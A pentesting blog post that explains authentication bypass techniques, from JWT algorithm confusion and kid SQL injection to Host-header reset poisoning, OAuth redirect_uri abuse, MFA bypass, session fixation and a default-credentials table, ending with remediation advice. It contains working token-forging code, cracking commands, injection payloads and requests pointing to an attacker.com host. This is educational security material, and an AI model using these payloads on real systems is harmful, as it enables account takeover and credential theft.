← Back to writing
Web Pentesting

Authentication Bypass Techniques

Jun 22, 2024
4 min read
lawbyte

Authentication failures consistently rank in the OWASP Top 10. This post covers the most common and impactful bypass techniques you’ll encounter in modern web applications, from JWT algorithm confusion to race conditions in password reset flows.

JWT Attacks

JSON Web Tokens are a common source of critical auth vulnerabilities.

Algorithm confusion: RS256 → HS256

When the server uses RS256 (asymmetric), it signs with a private key and verifies with the public key. If you change the algorithm to HS256 and sign with the public key (which you can obtain), the server may verify using the same key as an HMAC secret.

import jwt

# Obtain public key from /jwks.json or .well-known/openid-configuration
public_key = open('public.pem').read()

# Forge token signed with public key as HMAC secret
token = jwt.encode(
{"sub": "admin", "role": "admin"},
public_key,
algorithm="HS256"
)

None algorithm

Some libraries accept alg: none and skip signature verification entirely:

import base64, json

header = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"sub":"admin","role":"admin"}).encode()).rstrip(b'=')
token = f"{header.decode()}.{payload.decode()}." # empty signature

Weak secret brute-force

# hashcat
hashcat -a 0 -m 16500 eyJ...token...xyz /usr/share/wordlists/rockyou.txt

# john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt

# jwt-cracker
jwt-cracker "eyJ...token...xyz"

kid header injection

If the kid (key ID) header is used to fetch the signing key from a database:

{
"alg": "HS256",
"kid": "' UNION SELECT 'attacker_secret' -- "
}

Then sign the token with attacker_secret.

If kid points to a file path:

{
"alg": "HS256",
"kid": "/dev/null"
}

Sign with an empty string as the secret.

jku / x5u header injection

Provide a URL to your own JWKS endpoint:

{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}

Host a JWKS with your own public key, sign the JWT with the corresponding private key.

Tool: jwt_tool

python jwt_tool.py <token> -T          # tamper
python jwt_tool.py <token> -X a # alg:none
python jwt_tool.py <token> -X s # HMAC with public key
python jwt_tool.py <token> -C -d rockyou.txt # crack
python jwt_tool.py <token> -X k -pk public.pem # kid injection

Password Reset Flaws

Predictable tokens

If the reset token is based on timestamp or username:

import hashlib, time
token = hashlib.md5(f"user@email.com{int(time.time())}".encode()).hexdigest()

Brute-force with a time window around when you triggered the reset.

Token not expiring

Request a reset token, don’t use it. Request another. Try the first token after a week — if it still works, the application has no expiry logic.

Host header poisoning

POST /reset-password HTTP/1.1
Host: attacker.com

email=victim@target.com

If the reset link is built from the Host header, the email contains https://attacker.com/reset?token=.... When the victim clicks, you capture the token.

POST /reset-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

Token leakage via Referer

Reset link: https://target.com/reset?token=abc123

If the page loads a third-party resource (analytics, fonts, CDN), the Referer header on that request leaks the token.

Race condition in token validation

Send multiple reset requests simultaneously; if the server is vulnerable, the same token may be valid for multiple accounts.


OAuth 2.0 Flaws

redirect_uri manipulation

https://target.com/oauth/authorize?
client_id=CLIENT_ID&
redirect_uri=https://attacker.com/callback& ← changed
response_type=code&
scope=openid profile email

If redirect_uri is validated by prefix only:

redirect_uri=https://target.com.attacker.com/callback
redirect_uri=https://target.com/callback/../../../attacker.com

state parameter missing or predictable

CSRF against the OAuth flow — trick a victim into binding their account to your social provider.

Authorization code interception

If the code is logged in access logs, included in Referer headers, or sent to a third-party subdomain.

Implicit flow token leakage

The access token appears in the URL fragment — captured by scripts or Referer headers.


MFA Bypass

Response manipulation

Login with valid credentials. When the MFA challenge response arrives:

HTTP/1.1 403 Forbidden
{"error": "invalid_otp"}

Change to 200 OK with {"success": true} in Burp — see if the client-side logic accepts it.

Code reuse

Try a previously used OTP after it should have expired. Or use the same OTP for a different user account.

OTP brute force

If there’s no rate limiting on the OTP endpoint, brute-force 6-digit TOTP (1,000,000 possibilities, ~33 seconds with no limit).

Backup code bypass

Backup codes are often weaker. Try 00000000, 12345678, or a known-weak backup code pattern.

Skip the step entirely

After step 1 (password), directly access the authenticated endpoint with the session cookie — some implementations set the session as authenticated after password check before MFA completes.


Broken Session Management

Session fixation

  1. Get a session ID before login: PHPSESSID=attacker_known_id
  2. Trick victim into authenticating with that ID
  3. After victim logs in, use the same ID
https://target.com/login?PHPSESSID=attacker_known_id

Session not invalidated on logout

Log out, replay the old session cookie — if it still works, logout is client-side only.

Predictable session IDs

# Collect 10 session IDs and look for patterns
for i in {1..10}; do
curl -s -I https://target.com/login | grep -i set-cookie
done

Sequential or timestamp-based IDs can be guessed to hijack other sessions.

Concurrent session confusion

Log in from two browsers simultaneously. Perform an action in one. See if the other session’s state changes — potential for session mixing bugs.


Default Credentials Reference

Always try these before anything else:

Application Username Password
admin panels admin admin, password, 1234
Jenkins admin admin
Grafana admin admin
Kibana elastic changeme
Tomcat Manager tomcat tomcat, s3cret
phpMyAdmin root "" (empty)
Router admin admin, password
Printer admin "", 1234

Remediation

  • Rotate session IDs on every privilege change (login, role change, logout).
  • Use cryptographically random tokens with sufficient entropy (≥128 bits).
  • Implement rate limiting and lockout on all auth endpoints.
  • Validate the full redirect_uri in OAuth flows, not just a prefix.
  • Require re-authentication before sensitive operations regardless of session age.
  • Build the password reset URL from server-side config, never from the Host header.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.